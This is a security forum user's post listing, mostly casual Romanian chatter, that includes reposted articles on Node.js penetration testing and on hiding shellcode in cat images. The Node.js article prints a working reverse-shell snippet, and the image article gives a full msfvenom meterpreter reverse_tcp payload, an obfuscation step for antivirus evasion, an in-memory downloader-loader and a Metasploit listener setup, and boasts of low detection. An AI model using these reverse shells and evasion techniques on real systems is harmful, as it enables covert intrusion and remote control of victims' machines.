Jump to content


Active Members
  • Content count

  • Joined

  • Last visited

  • Days Won


sibip last won the day on January 29 2014

sibip had the most liked content!

Community Reputation

324 Excellent

About sibip

  • Rank
    Registered user
  • Birthday 07/20/1993

Recent Profile Visitors

2160 profile views
  1. sibip

    am nevoie de un programator

    s-a rezolvat,
  2. sibip

    Scoala auto

    Initial ii dadusem site-ul asta a lu gecko, ca il stiam si imi zice ca e naspa...
  3. sibip

    Scoala auto

    Salut, am un prieten care vrea sa invete pentru scoala auto si nu vrea sa-si ia cartea de legislatie, am vazut ca sunt cateva site-uri cu plata, gen: www.i-drpciv.ro, www.e-drpciv.ro, etc, nu le cunosc. Pe care le recomandati? Stiti altele? Merita platit acel abonament care iti da acces la "Mediu de invatare" de aici https://www.e-drpciv.ro/
  4. Aici puteti spune din ce faceti bani. Eu in momentul de fata mi-am descarcat euro truck simulator 2 demo si ma bag la 2-3 curse, pwp
  5. sibip

    Cont Filelist.Ro [FREE]

    Am si eu o invitatie, dati pm. Cine o primeste, sa respecte in sloboz contul pe care il face
  6. da si mie te rog unban pe discord, mersi

  7. sibip

    Dau invitatie filelist

    Private message si lasa si tu torrentele la seed bai asta care capeti invitatia /// AM DAT-O
  8. sibip

    10+ ani de RST

    isr, hellteam
  9. Sahil Dhar PENETRATION TESTING NODE.JS APPLICATIONS - PART 2 This article covers the left-over vulnerabilities from Part-1. In this article, we will have an in-depth look at some uncommon flaws and how to find them while doing performing code review of node.js applications. Following are the list of vulnerabilities we are going to cover in this course: Global Namespace Pollution Cross Site Scripting Insecure Components Secure Code Review Global Namespace Pollution: When any variable or function is defined in a global scope as such other part of code is able to access and modify the same, this creates a confusion between different functions as whenever each function/ event is accessing that variable it will have different/same/overwritten values, such behaviour is called as global namespace pollution. This behavior can be exploited from the security point of view depending on the conditions and what type of value is being stored in the globally scoped variables/functions. As can be seen, we have defined a variable called global, and we are simply incrementing and printing its value to the user. However, the problem is whenever the user access this variable, its value will be incremented, and the new value will be shown to the user. This poses a security risk if session tokens are stored in global namespace with similar/different logic as an attacker can easily guess what will be the value of next session cookie being assigned to another user. As can be seen, we have accessed the application from the different browser; the value is globally same for each client. Cross Site Scripting Cross Site Scripting occurs whenever untrusted user input in included in application response without proper validation. In case of node.js, there is no built-in pre-packaged module to overcome XSS attacks, leaving a novice developer to make mistakes and create exploitation opportunities for attackers. As can be seen, we have coded a little snippet, that takes user input and append it to the string without proper filtering. Further same can be exploited as follows: To overcome XSS in node.js applications, we obviously need to implement context specific filtering for that we can use a package called html-entities which can be installed using the command line as npm install html-entities. Let’s use this package in our app and execute the same payload. As can be seen, our payload does not execute this time. Insecure Components: Insecure components cover all the third-party packages used by your application. It is very important from a security perspective to review their code before including them in your application. Go through the vulnerabilities section on their official website and make sure you are using the most updated and stable version of that package. Further, there are certain tools to automate this task, which we will discuss later in this section. For demo purpose, we will be using the nodegoat application as it is using a vulnerable version of package name marked which is suffering from XSS vulnerability. As can be seen, when the following payload is inserted, it interprets it as a link with JavaScript payload in its contents: [Click here to download](javascript&#58this;alert(xss)) We can use already available tools such as snyk and npm-check to automate the task of identifying insecure and outdated components. To install these tool, execute the following command as the command line: npm install -g npm-check npm install snyk Let’s execute these tools at our vulnerable nodegoat application and have a look at the output: As can be seen, npm-check did flag some unused packages and tells us that markedpackage is outdated. For using synk from the command line, you need to configure your account, after configuring our account we navigated to nodegoat’s main directory and run the command snyk test. As can be seen, it did find vulnerable packages and maked is one of them too. Secure Code Review Performing code review on larger application becomes a hectic job as it is not that easy to go through hundreds of lines of code. It is always recommended to perform semi-automated approach for code review like checking business logic manually and automating any repeated stuff that is looking for vulnerable function/packages/modules names, configurations. Make sure to check all functions where user input is being placed, file handling operations, Database queries, hardcoded credentials, insecure SSL/TLS versions in use, insecure crypto, global variables, etc. Further, we can use above tools snykand node-check to look for any outdated or vulnerable packages. Conclusion From the vulnerabilities covered in this series, we can conclude that the source of most of the vulnerabilities is user input. Therefore, always filter and validate user input, always make sure appropriate middleware is in place to avoid any un-authorization flaws. This article will be incomplete without mentioning the awesome tool named “NodeJsScan” by Ajin Abraham. NodeJsScan is a static code analysis tool. It uses a set of regular expression rule at its core to scan for possible vulnerable code and misconfigurations; this also allows its users to extend the functionality of this tool using their own set of regular expressions. It is an exercise for the reader to download, configure and scan NodeGoat app using NodeJsScan and try to fix highlighted issues. NodeJsScan can be downloaded from here. References https://www.npmjs.com/package/npm-check https://snyk.io/blog/marked-xss-vulnerability/ https://www.npmjs.com/package/html-entities https://github.com/ajinabraham/NodeJsScan #source: http://resources.infosecinstitute.com/penetration-testing-node-js-applications-part-2/#article part1: https://rstforums.com/forum/topic/104892-an-introduction-to-penetration-testing-nodejs-applications/#comment-647871
  10. Sahil Dhar PENETRATION TESTING NODE.JS APPLICATIONS - PART 1 In this article, we will have a look at how to proceed when penetration testing Node.js applications or looking for Node.js specific issues. Introduction Node.js is a server-side language built on the top of google chrome’s v8 engine. It uses event-driven non-blocking I/O which makes it a perfect candidate for data-intensive applications. It runs on a single threaded server which also means any intentional/unintentional denial of service attempt will kill the server and leave all the clients offline, so better use multiple instances with load balancers. In this article, we will be looking at some vulnerabilities more specific to node.js and how to identify and exploit them in real world scenarios. Information Gathering Like any other information gathering phase of web applications, we will be looking into any weird cookie names[“connect.sid“], server headers and X-powered-By headers. As can be seen in the following screenshot, X-Powered-By header reveals that the application is running under Express framework. Further, we can now dig into framework/package specific vulnerabilities too. Vulnerability Analysis and Exploitation As of now, we have a slight idea for identifying node.js applications, let’s have a look at other vulnerabilities too. We will be looking into the following set of vulnerabilities: Server Side Code Injection System Command Injection Regex DOS HTTP Parameter Pollution Unprotected Routes Global Namespace Pollution Cross Site Scripting Insecure Components Secure Code Review Server Side Code Injection: Code injection in Node.js also revolves around most famous function named “eval,” so never use eval function in your code, which also means that never insert user input directly in any of the system functions such as setTimeOut, setInterval, etc. In our demo code, we have used eval to parse the type of parameter as in this case is an integer to add them later. The same can be overcome use parseInt function. As can be seen, we were able to execute our payload and shutdown the application. Reverse Shell Further, we can use the following snippet of code to get a reverse shell on node.js applications. function rev(host,port){ var net = require(“net”); var cp = require(“child_process”); var cmd = cp.spawn(“cmd.exe”, []); var client = new net.Socket(); client.connect(port, host, function(){ client.write(“Connected\r\n”); client.pipe(cmd.stdin); cmd.stdout.pipe(client); cmd.stderr.pipe(client); client.on(‘exit’,function(code,signal){ client.end(“Disconnected\r\n”); }); client.on(‘error’,function(e){ setTimeout(rev(host,port),5000); }) }); return /a/; };rev(“”,4444); System Command Execution While doing a code review of node.js applications, it is very important to look at functions used from the module name child_process, as this module covers all functionalities from spawning a new process to executing system commands. As can be seen, we have created a demo application for the ping. However, there is no validation placed for ip parameter. The above code can be exploited for system command execution simply as follows: Regex DOS (Denial of Service) Regular expression DOS mainly revolves around the term called Catastrophic Backtracking which implies on how regex engine searches for the defined pattern in user’s input. Let’s have a look at following example: Here we are searching for the pattern with x’s ending with y’s, but there is one problem with this if our input does not end with y and instead it has more x’s, each x+ will start backtracking and end up being in a loop by executing more number of iterations to make sure there is no y’s in our input. In the following screenshot, we can see that for correct input, the execution time is less than one second. Let’s provide only the number of x’s. As can be seen, the execution time increases to one second and remember Node.js is running one single thread so that it will cause a denial of service for all other clients using same application at a time. HTTP Parameter Pollution Node.js has this weird feature which allows taking more than one value for a single parameter. So, if there is parameter name email and if add one more parameter with the same name, the value of email parameter will contain two different values separated by a comma. As we can see, we are just printing the value of email parameter here. As shown here, when we provide values to two or more parameters with same name node.js concatenates them with a comma. This feature can be used to exploit parameter pollution vulnerabilities. An example can be email web client applications, where the application is expecting one value for email parameter, and you can provide one or more values. Unprotected Routes As most of the modern applications are built using MVC architecture, let’s first understand what this term means. MVC separates the application into three logical components Model, View Controller. This significantly helps developers and software architects to separate business logic from the application code. In simpler terms, when a request is sent to MVC based application the endpoint or URL where the request is sent to load the User interface called as VIEW and the endpoint responsible for loading view or performing any validation tasks on user input known as CONTROLLER. The data ends from the which the controller fetches the data known as MODEL. All the URLs/Controller endpoints are called as routes embedded on routes files, and there is a router sitting in between which decided when the user hits http://www.example.com/abc which controller it has to trigger. Now the problem arises in the case of authenticated/authorized and non-authenticated/unauthorized routes. From the name, we can determine authenticated/authorized routes are the ones which we can access after login or after a certain level of access. To demonstrate this functionality, we have setup a popular testbed for nodejs application known as Nodegoat. It is demo Retirement application having multiple user roles. Where only admin can access the retirement benefits of other users. As can be seen, the benefits route does not check whether the user is admin and thus any other user can access the retirement benefits of another user. As can be seen, we logged in from a normal user, and there is no functionality named “benefits” for the normal user account. We the login from an admin account and found out, this functionality can be accessed by admin users only. To verify the above behavior, we again switched to the normal user account, and force browsed the benefits page and were able to access and modify its contents. Fixing Unprotected Routes We further add isAdmin middleware to the route to make sure only admin user accesses this page. We again tried to access the benefits page, got redirected to the login page as defined in isAdmin middleware. Conclusion: In this article, we have discussed 5 out of 9 vulnerabilities; the remaining will be covered in second part of this article. References: https://nodejs.org/en/download/ https://github.com/OWASP/NodeGoat https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/ #source:http://resources.infosecinstitute.com/penetration-testing-node-js-applications-part-1/ part2: https://rstforums.com/forum/topic/104893-code-review-of-nodejs-applications-uncommon-flaws/
  11. Krist Rash We all know the internet loves cats! I was thinking of how we can combine cats and malware. Then, it struck me! I occasionally see a particular method of code execution which includes some executable file and an image. Usually, I will see that the program will download the image file and then convert it to a .exe and run it. I think this method is somewhat sloppy and can be improved upon in some ways. One being that the file touches the disk it becomes inspectable to Anti-Virus. To get around this, you can launch it in memory. However, you will have another problem that is that most viruses are executables and that means you will have to fix the IAT and other things in the executable since it will be loaded in a shared address space with another program. A method that I suggest here is that we embed shellcode into an image and have our program allocate heap space, download the image and execute the shellcode within in the image. As mentioned before, It is in memory and won’t be analyzed as easily. For this scenario, we will be using a.JPG file although really anything will do. Things you will need: Windows OS Linux tools Knowledge of Assembly Basic Knowledge of MSFVenom payload generation HexEditor (WxHexEditor) GCC installed and added in $PATH(comes with codeblocks) Nasm (Nasm assembler install dir) Nasm added to $PATH Optional: Ollydbg(OllyDbg) or x64dbg(x64dbg) Some way of converting ASM instructions into Op Codes, I use the following Ram Michael’s MultiLine Ultimate Assembler Plugin (MUA Plugin) General Explanation of how this is set up: Since the flow of an executable always follows instructions from top to bottom, we will need to be creative in how we execute our payload in memory. Because when you download a file via HTTP, you will have the response followed by the file that was downloaded. Moreover, because the response is at the top and varies in size, it becomes difficult to predict where we will need to jump to execute this. So what we can do to get around this is to put our payload at the bottom of the image then memcpy the bottom to another space on the heap then jump to it. It will look something like this. An example of what our image should look like with the payload inserted into the image. JPEG image header → FF D8 FF E0 00 10 JFIF ASCII → 4A 46 49 46 Bytes … Bytes … End of our payload → CC CC CC CC Middle of Payload → BB BB BB BB Start of payload → AA AA AA AA We, of course, need to allocate need to jump to the AA AA AA AA in the payload and therefore flip it. To do this, we memcpy this to another spot. To have it look like this. Start of payload → AA AA AA AA Middle of Payload → BB BB BB BB End of our payload → CC CC CC CC Once this is done, we can jump to this and execute this without a problem. For this example, I have written my own cheap obfuscator and have XOR’d the bytes which we will XOR back and run my code through the obfuscator. To explain in more detail, my obfuscator Lazy BitMask Encoder simple takes the payload and divides them by WORDs then adds FFFF to the front of it. Then it will remove the FFFF (using bit-wise math), then move the WORD over to the first part of the DWORD, then when then will move the other WORD. So it kind of looks like this. Mov eax, FFFFAABB; Moves that value to EAX. And eax, FFFF ; Removed the FFFF in the front Mov ebx, FFFFCCDD ; Moves that value to EBX Mov ax, bx ; Makes EAX look like AABBCCDD Push eax ; Pushes it to the stack. In the end it adds Jmp esp ; Jumps to where our payload is on the stack and executes it. I have added some XORing parts to the Encoder / Decoder, but this is just for added obfuscation. If there is any confusion, please read the code, and you can always paste the output it provides into a binary and see what it does for yourself. Let’s Get to Work: Let’s start by generating a simple payload with MSFVENOM. Of course, you will need to change the LPORT and LHOST to meet your needs. msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT=5555 -f c This is what it will output: I will bold the IP in case you want to make a simple change to this (Using this tool IP / Hex Converter). “\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30” “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff” “\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52” “\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1” “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b” “\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03” “\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b” “\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24” “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb” “\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c” “\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68” “\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x01\x02\x03\x04\x68\x02″ “\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea” “\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61” “\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00” “\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83” “\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a” “\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57” “\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00” “\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68” “\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff” “\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00” “\x53\xff\xd5”; So let’s take this and pass it through my Lazy BitMask Encoder . Paste your shellcode in the ““SHELLCODE GOES HERE”” spot. To use this, it will require you to compile it and you can simply do this using gcc. Gcc -std=c11 LazyBitmaskEncoder.c -o encoder.exe And then redirect the output to a file. encoder.exe > somefile.txt Then run it to get your output. In my case, I have an extra byte that is 31. My program warns to turn this into a Nop’d XOR byte, in this case, it was 7E. Like so… Now we just need the bytes of this. There might be a tool online that will convert assembly to bytecode or elsewhere. I just tend to use Ram Michael’s MUA Plugin in OllyDbg or X64dbg to paste the instructions in binary and copy then the bytes out. Picture Below Then we can copy the bytes out by highlighting them and right-clicking -> Edit -> Binary Copy. Alternatively, you can simply press CTRL+ INSERT Now we need to put these bytes in the bottom of an image. If you saw the diagram at the top, we need to put them in the image in reverse order. Luckily, in Linux, this is very simple to do. Here is an image before the bytes are reversed. I pasted this into a file (I called mine ‘moo’). Running this we can get the correct order that we need. We can run this command to reverse the order of the bytes in the correct order. for i in `cat moo` ; do echo $i;done| tac |sed ‘:a;N;$!ba;s/\n/ /g’ Now we just need to insert them into an image for hiding. Take your favorite cat picture. I am choosing this Siamese cat for this demonstration. We will not really see the cat as he will live in memory. Doesn’t he look malicious?! Ok. Now let’s copy the shellcode into the image. We just need to open this up using WxHexEditor and copy the bytes in the image. The thing to remember is we want the bytes to be at the bottom. If you do not have it exactly at the bottom, then you will need to add 0x90s until your shellcode starts. Here is after we paste the Bytes in. As you see our shellcode is at the bottom of the image. Once you save this, you will see that there is some minor color distortion at the bottom of the image. Now for the last part. We just need to put this on a web server and make a simple program that will download the image in memory and then jump to it and execute this shellcode. The simplest way to accomplish this is in assembly)))). I have written a program in assembly that will do just this; GhostExe.asm. To compile this, you can simply run… nasm -f win32 GhostExe.asm gcc -fno-use-linker-plugin GhostExe.obj -o GhostExe.exe I recommend opening up a debugger and attaching to the opening the process and following along and watching it in action just so that you can learn. If you choose to debug, then at least look at the program GhostExe.exe at offset00401482. This is right after the recv. If you look at the end of ECX, you will see where the out payload is located. Otherwise just set up Metasploit properly and run the exe and let it go. msf>use exploit multi/handler msf>set payload windows/meterpreter/reverse_tcp msf>set lhost <local IP> msf>set lport <local port> msf> set ExitOnSession false msf>exploit -j Here are the results from NoDistrubute.com — 1/35 is very good for something so simple. Made Kitties Malicious — Krist The following will be a debug shot! We make it down to JMP EAX: this is where we will jump into the shellcode in our cat image! Look familiar? Our original payload! #source: http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/
  12. pularau pentru texani

  13. sibip

    RST Bashed

    pwn hahahah
  14. sibip

    RST Bashed

    cand esti ambitios si al dreacu in acelasi timp